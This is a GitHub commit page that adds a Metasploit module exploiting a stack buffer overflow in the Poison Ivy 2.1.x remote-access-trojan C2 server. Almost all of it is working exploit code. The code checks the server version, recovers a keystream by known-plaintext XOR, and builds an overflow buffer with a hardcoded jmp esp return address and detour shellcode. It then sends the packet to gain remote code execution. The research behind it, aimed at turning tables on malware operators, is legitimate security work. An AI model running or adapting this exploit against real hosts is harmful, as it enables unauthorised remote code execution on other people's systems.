Skip to content

Commit ab27c1b

Browse files
committed
Merge pull request rapid7#6940 from samvartaka/master
Exploit for previously unknown stack buffer overflow in Poison Ivy versions 2.1.x (possibly present in older versions too)
2 parents db85f25 + 5260031 commit ab27c1b

File tree

2 files changed

+194
-0
lines changed

2 files changed

+194
-0
lines changed
2.07 KB
Binary file not shown.
Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
18+
The exploit does not need to know the password chosen for the bot/server communication.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
24+
],
25+
'References' =>
26+
[
27+
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
28+
],
29+
'DisclosureDate' => 'Jun 03 2016',
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread',
33+
},
34+
'Payload' =>
35+
{
36+
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
37+
},
38+
'Platform' => 'win',
39+
'Targets' =>
40+
[
41+
[
42+
'Poison Ivy 2.1.4 on Windows XP SP3',
43+
{
44+
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
45+
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
46+
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
47+
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
48+
'Packet2Offset' => 0xB9E # offset of second packet within server's response
49+
}
50+
]
51+
],
52+
'DefaultTarget' => 0
53+
))
54+
55+
register_options(
56+
[
57+
Opt::RPORT(3460)
58+
], self.class)
59+
60+
end
61+
62+
# XOR two strings
63+
def xor_strings(s1, s2)
64+
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
65+
end
66+
67+
# Obtain keystream using known plaintext
68+
def get_keystream(ciphertext, knownPlaintext)
69+
if(ciphertext.length < knownPlaintext.length)
70+
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
71+
else
72+
return xor_strings(ciphertext, knownPlaintext)
73+
end
74+
end
75+
76+
# Apply keystream to plaintext
77+
def use_keystream(plaintext, keyStream)
78+
if(keyStream.length > plaintext.length)
79+
return xor_strings(plaintext, keyStream[0, plaintext.length])
80+
else
81+
return xor_strings(plaintext, keyStream)
82+
end
83+
end
84+
85+
def check
86+
connect
87+
# Poke
88+
sock.put("\x01")
89+
# Fetch response
90+
response = sock.get_once(6)
91+
92+
if (response == "\x89\xFF\x90\x0B\x00\x00")
93+
vprint_status("Poison Ivy C&C version 2.1.4 detected.")
94+
return Exploit::CheckCode::Appears
95+
elsif (response == "\x89\xFF\x38\xE0\x00\x00")
96+
vprint_status("Poison Ivy C&C version 2.0.0 detected.")
97+
return Exploit::CheckCode::Safe
98+
end
99+
100+
return Exploit::CheckCode::Safe
101+
end
102+
103+
# Load known plaintext chunk
104+
def load_c2_packet_chunk
105+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
106+
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
107+
chunk
108+
end
109+
110+
def exploit
111+
# Known plaintext from C2 packet
112+
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
113+
knownPlaintext2 = load_c2_packet_chunk()
114+
115+
# detour shellcode (mov eax, StoreAddress; jmp eax)
116+
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
117+
detourShellcode << "\xFF\xE0" # jmp eax
118+
119+
# Padding where necessary
120+
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)
121+
122+
# Construct exploit buffer
123+
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)
124+
exploitBuffer << compressedBuffer # compressedBuffer
125+
exploitBuffer << "\xFF" * 0x104 # readfds
126+
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType
127+
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)
128+
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize
129+
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)
130+
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize
131+
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer
132+
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4
133+
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam
134+
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout
135+
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd
136+
exploitBuffer << Rex::Text.rand_text_alpha(4) # s
137+
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP
138+
exploitBuffer << [target['Ret']].pack("V") # EIP
139+
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0
140+
exploitBuffer << detourShellcode # detour to storage area
141+
142+
# Calculate values
143+
allocSize = exploitBuffer.length + 1024
144+
infoLen = payload.encoded.length
145+
infoSize = (infoLen + 4)
146+
147+
# Handshake
148+
connect
149+
print_status("Performing handshake...")
150+
151+
# Poke
152+
sock.put("\x01")
153+
154+
# Fetch response
155+
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)
156+
157+
eHeader = response[target['Packet2Offset'], 6]
158+
eInfo = response[target['Packet2Offset'] + 10..-1]
159+
160+
if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
161+
# Keystream derivation using Known Plaintext Attack
162+
keyStream1 = get_keystream(eHeader, knownPlaintext1)
163+
keyStream2 = get_keystream(eInfo, knownPlaintext2)
164+
165+
# Set correct infoLen
166+
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]
167+
168+
# Set correct decompressSize
169+
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]
170+
171+
# Build packet
172+
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)
173+
174+
# Encrypt infoSize bytes
175+
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]
176+
177+
# Make sure infoSize gets overwritten properly since it is processed before decryption
178+
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]
179+
180+
# Finalize packet
181+
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer
182+
183+
print_status("Sending exploit...")
184+
# Send exploit
185+
sock.put(exploitPacket)
186+
else
187+
print_status("Not enough keystream available...")
188+
end
189+
190+
select(nil,nil,nil,5)
191+
disconnect
192+
end
193+
194+
end

0 commit comments

Comments
 (0)